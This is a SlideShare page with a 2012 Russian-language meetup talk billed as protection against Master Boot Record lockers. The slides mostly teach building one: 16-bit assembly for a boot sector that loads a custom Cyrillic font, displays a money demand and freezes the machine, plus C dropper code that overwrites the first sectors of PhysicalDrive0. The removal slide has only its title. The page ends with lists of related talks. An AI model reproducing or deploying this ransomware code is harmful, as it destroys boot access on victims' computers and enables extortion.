SlideShare une entreprise Scribd logo
1  sur  22
Télécharger pour lire hors ligne
Тодинг Антон
rock4192@gmail.com
bydood.blogspot.com
#kranonit S04E01
2012
Защита от Master Boot Record Locker
Winlock-закат
MBR lock- рассвет
Этапы загрузки
Локер Windows
1. post
2. bios
3. 1st boot sector
4. os kernel
5. gui shell-some
6. locker exe file
MBR Локер
1. post
2. bios
3. 1st boot sector
Почему ассемблер?
● Первый загрузочный сектор всего 512 байт
● Низший уровень
● Самый маленький размер кода
Из чего состоит mbrlocker
1. Дроппер (dropper)
2. Загрузочный сектор
Дропер устанавливает загрузочные сектор
Пишем загрузочный сектор
Процесору работает в реальном режиме (16 битный код)
[BITS 16]
[ORG 0x7C00]
Необходимо настроить все сегменты, потому что мы не знаем содержания
регистров:
mov ax, cs
cli
mov ss, ax
mov es, ax
mov ds, ax
mov sp, entry
sti
Запрещаем прерывания командой cli что бы ничего не мешало
Модель памяти TINY
Для работы с экраном используются только
прерывания BIOS
mov ax,03
int 0x10
0x10 прерывание биос
3 ф-я очистить дисплэй
Делаем свой кирилический шрифт для знакогенератора.
Для матрицы 8х16 буква "Я" такая:
Вымогаем деньги на русском
Каждый ряд переводим из двоичной системы в шестнадцатеричную
00, 00, 7E, C6, C6, C6,C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00
Стоит уже подумать о высоком уровне!
Файл шрифта 1024 байта не влезает в загорузочный сектор 512 байт.
Дропером запишем его в другие секторы 2 и 3.
Из загрузичка читаем файл из 2 и 3 сектора:
mov ah,0x02
mov al,0x02
mov bx,0x1000
mov cx,0x0002
int 0x13
ф-я 2 прерывание 13 читать секторы
число секторов = 2 (2 и 3)
Подменяем английский шрифт на свой
в bx адрес таблицы
в cx с какого сектора начинаем читать.
mov ah,0x11 ; ф-я 11 - загрузка пользовательского
шрифта
xor al,al ; под ф-я 0
mov bp,bx ; в bp адрес таблицы
mov cx,64 ; в cx кол-во символов
mov dx,192 ; в dx код начала символов
int 0x10 ; прерывание
Работаем с экраном
; Пишем текст зелёным цветом
mov ah,0x13
xor al,al
mov bx,00001010b
xor dx,dx
mov cx,msgend-msg
call msgend
msg db 'Дайте мне очень много денег'
msgend:
pop bp
int 0x10
; Зависаем в цикле
jmp $
TIMES 510-($-$$) db 0
dw 0xAA55
Dropper
Копируем HEX код:
1. Сектор MBR в массив mbr[512]
2. Два сектора шрифта в массивы font1[512] и font2[512]
Записываем их в первые три сектора
HANDLE hout; // Хендл файла на три сектора
hout = CreateFile(TEXT(".PhysicalDrive0"),
GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, NULL, NULL);
WriteFile(hout, mbr, sizeof(mbr), nw, NULL);
SetFilePointer(hout, 1 * 512, nil, FILE_BEGIN);
WriteFile(hout, font1, sizeof(font1), nw, NULL);
SetFilePointer(hout, 2 * 512, nil, FILE_BEGIN);
WriteFile(hout, font2, sizeof(font2), nw, NULL);
CloseHandle(hout); // Не забываем чистить за собой
Результат работы
Устранение
Спасибо за внимание! Вопросы?
Будьте светлыми джедаями!
Тодинг Антон
rock4192@gmail.com
bydood.blogspot.com

Contenu connexe

Tendances

Операционные системы
Операционные системыОперационные системы
Операционные системы
yaevents
 
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
GeeksLab Odessa
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
Technopark
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
Technopark
 
мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1
rit2011
 
Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7
Technopark
 
Open office manual
Open office manualOpen office manual
Open office manual
Dim Kin
 
процессоры
процессорыпроцессоры
процессоры
ttku
 
Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169
Media Gorod
 
лабораторная работа №1
лабораторная работа №1лабораторная работа №1
лабораторная работа №1
НГТУ
 

Tendances (19)

Операционные системы
Операционные системыОперационные системы
Операционные системы
 
Мнемоника БМВ и ее применение
Мнемоника БМВ и ее применениеМнемоника БМВ и ее применение
Мнемоника БМВ и ее применение
 
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
 
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual MachinesTMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
 
Анализ трафика
Анализ трафикаАнализ трафика
Анализ трафика
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
 
Aleksey Androsov
Aleksey AndrosovAleksey Androsov
Aleksey Androsov
 
Kolibri OS
Kolibri OSKolibri OS
Kolibri OS
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
 
More Smoked CTFs для Leet Chicken, пожалуйста!
More Smoked CTFs для Leet Chicken, пожалуйста!More Smoked CTFs для Leet Chicken, пожалуйста!
More Smoked CTFs для Leet Chicken, пожалуйста!
 
Recommerce изнутри
Recommerce изнутриRecommerce изнутри
Recommerce изнутри
 
Операционные системы GNU/Linux
Операционные системы GNU/LinuxОперационные системы GNU/Linux
Операционные системы GNU/Linux
 
мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1
 
Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7
 
История PermLUG
История PermLUGИстория PermLUG
История PermLUG
 
Open office manual
Open office manualOpen office manual
Open office manual
 
процессоры
процессорыпроцессоры
процессоры
 
Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169
 
лабораторная работа №1
лабораторная работа №1лабораторная работа №1
лабораторная работа №1
 

En vedette

kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Javakranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
Krivoy Rog IT Community
 
kranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applicationskranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applications
Krivoy Rog IT Community
 
kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!
Krivoy Rog IT Community
 
kranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити формkranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити форм
Krivoy Rog IT Community
 
kranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: Freelancekranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: Freelance
Krivoy Rog IT Community
 
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информацииkranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
Krivoy Rog IT Community
 
kranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартапkranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартап
Krivoy Rog IT Community
 
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноkranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
Krivoy Rog IT Community
 
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Krivoy Rog IT Community
 
Технологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущегоТехнологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущего
Vladislav Mandryka
 

En vedette (16)

kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Javakranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
 
kranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applicationskranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applications
 
kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!
 
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
 
kranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити формkranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити форм
 
kranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: Freelancekranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: Freelance
 
Kranonit s16 (python). dmitry furzenko
Kranonit s16 (python). dmitry furzenkoKranonit s16 (python). dmitry furzenko
Kranonit s16 (python). dmitry furzenko
 
kranonit S14E01 Эдуард Лобас Management & IT Industry
kranonit S14E01 Эдуард Лобас Management & IT Industrykranonit S14E01 Эдуард Лобас Management & IT Industry
kranonit S14E01 Эдуард Лобас Management & IT Industry
 
Kranonit s16 (python). sergey burma
Kranonit s16 (python). sergey burmaKranonit s16 (python). sergey burma
Kranonit s16 (python). sergey burma
 
Kranonit S18 Pavlov Evgeniy
Kranonit S18 Pavlov Evgeniy Kranonit S18 Pavlov Evgeniy
Kranonit S18 Pavlov Evgeniy
 
Kranonit S18 Lobova Elena
Kranonit S18 Lobova ElenaKranonit S18 Lobova Elena
Kranonit S18 Lobova Elena
 
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информацииkranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
 
kranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартапkranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартап
 
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноkranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
 
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
 
Технологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущегоТехнологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущего
 

Similaire à kranonit S04E01 Антон: Защита от Master Boot Record Locker

Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Tanya Denisyuk
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатика
Gulnaz Shakirova
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатика
Gulnaz Shakirova
 

Similaire à kranonit S04E01 Антон: Защита от Master Boot Record Locker (9)

SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
 
Волков не бояться! Бизнес логика и РСУБД
Волков не бояться! Бизнес логика и РСУБДВолков не бояться! Бизнес логика и РСУБД
Волков не бояться! Бизнес логика и РСУБД
 
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
 
НуП_Лекция 5. Управление видеосистемой.ppt
НуП_Лекция 5. Управление видеосистемой.pptНуП_Лекция 5. Управление видеосистемой.ppt
НуП_Лекция 5. Управление видеосистемой.ppt
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатика
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатика
 
1k speedup
1k speedup1k speedup
1k speedup
 
Алексей Андросов - Debugger: Отладка кода
Алексей Андросов - Debugger: Отладка кодаАлексей Андросов - Debugger: Отладка кода
Алексей Андросов - Debugger: Отладка кода
 
Александр Сомов "C++: препроцессор, компилятор, компоновщик"
Александр Сомов "C++: препроцессор, компилятор, компоновщик"Александр Сомов "C++: препроцессор, компилятор, компоновщик"
Александр Сомов "C++: препроцессор, компилятор, компоновщик"
 

Plus de Krivoy Rog IT Community

kranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDDkranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDD
Krivoy Rog IT Community
 
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушекkranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
Krivoy Rog IT Community
 
kranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High loadkranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High load
Krivoy Rog IT Community
 
kranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денегkranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денег
Krivoy Rog IT Community
 
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игрkranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
Krivoy Rog IT Community
 
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальностиkranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
Krivoy Rog IT Community
 
kranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работуkranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работу
Krivoy Rog IT Community
 
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
Krivoy Rog IT Community
 

Plus de Krivoy Rog IT Community (9)

Kranonit sponsorskoe predlozhenie
Kranonit sponsorskoe predlozhenieKranonit sponsorskoe predlozhenie
Kranonit sponsorskoe predlozhenie
 
kranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDDkranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDD
 
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушекkranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
 
kranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High loadkranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High load
 
kranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денегkranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денег
 
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игрkranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
 
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальностиkranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
 
kranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работуkranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работу
 
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
 

kranonit S04E01 Антон: Защита от Master Boot Record Locker

  • 4. Этапы загрузки Локер Windows 1. post 2. bios 3. 1st boot sector 4. os kernel 5. gui shell-some 6. locker exe file MBR Локер 1. post 2. bios 3. 1st boot sector
  • 5. Почему ассемблер? ● Первый загрузочный сектор всего 512 байт ● Низший уровень ● Самый маленький размер кода
  • 6. Из чего состоит mbrlocker 1. Дроппер (dropper) 2. Загрузочный сектор Дропер устанавливает загрузочные сектор
  • 7. Пишем загрузочный сектор Процесору работает в реальном режиме (16 битный код) [BITS 16] [ORG 0x7C00] Необходимо настроить все сегменты, потому что мы не знаем содержания регистров: mov ax, cs cli mov ss, ax mov es, ax mov ds, ax mov sp, entry sti Запрещаем прерывания командой cli что бы ничего не мешало
  • 8. Модель памяти TINY Для работы с экраном используются только прерывания BIOS mov ax,03 int 0x10 0x10 прерывание биос 3 ф-я очистить дисплэй
  • 9. Делаем свой кирилический шрифт для знакогенератора. Для матрицы 8х16 буква "Я" такая: Вымогаем деньги на русском Каждый ряд переводим из двоичной системы в шестнадцатеричную 00, 00, 7E, C6, C6, C6,C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00
  • 10.
  • 11. Стоит уже подумать о высоком уровне! Файл шрифта 1024 байта не влезает в загорузочный сектор 512 байт. Дропером запишем его в другие секторы 2 и 3. Из загрузичка читаем файл из 2 и 3 сектора: mov ah,0x02 mov al,0x02 mov bx,0x1000 mov cx,0x0002 int 0x13 ф-я 2 прерывание 13 читать секторы число секторов = 2 (2 и 3)
  • 12. Подменяем английский шрифт на свой в bx адрес таблицы в cx с какого сектора начинаем читать. mov ah,0x11 ; ф-я 11 - загрузка пользовательского шрифта xor al,al ; под ф-я 0 mov bp,bx ; в bp адрес таблицы mov cx,64 ; в cx кол-во символов mov dx,192 ; в dx код начала символов int 0x10 ; прерывание
  • 13. Работаем с экраном ; Пишем текст зелёным цветом mov ah,0x13 xor al,al mov bx,00001010b xor dx,dx mov cx,msgend-msg call msgend msg db 'Дайте мне очень много денег' msgend: pop bp int 0x10 ; Зависаем в цикле jmp $ TIMES 510-($-$$) db 0 dw 0xAA55
  • 14. Dropper Копируем HEX код: 1. Сектор MBR в массив mbr[512] 2. Два сектора шрифта в массивы font1[512] и font2[512] Записываем их в первые три сектора HANDLE hout; // Хендл файла на три сектора hout = CreateFile(TEXT(".PhysicalDrive0"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); WriteFile(hout, mbr, sizeof(mbr), nw, NULL); SetFilePointer(hout, 1 * 512, nil, FILE_BEGIN); WriteFile(hout, font1, sizeof(font1), nw, NULL); SetFilePointer(hout, 2 * 512, nil, FILE_BEGIN); WriteFile(hout, font2, sizeof(font2), nw, NULL); CloseHandle(hout); // Не забываем чистить за собой
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22. Спасибо за внимание! Вопросы? Будьте светлыми джедаями! Тодинг Антон rock4192@gmail.com bydood.blogspot.com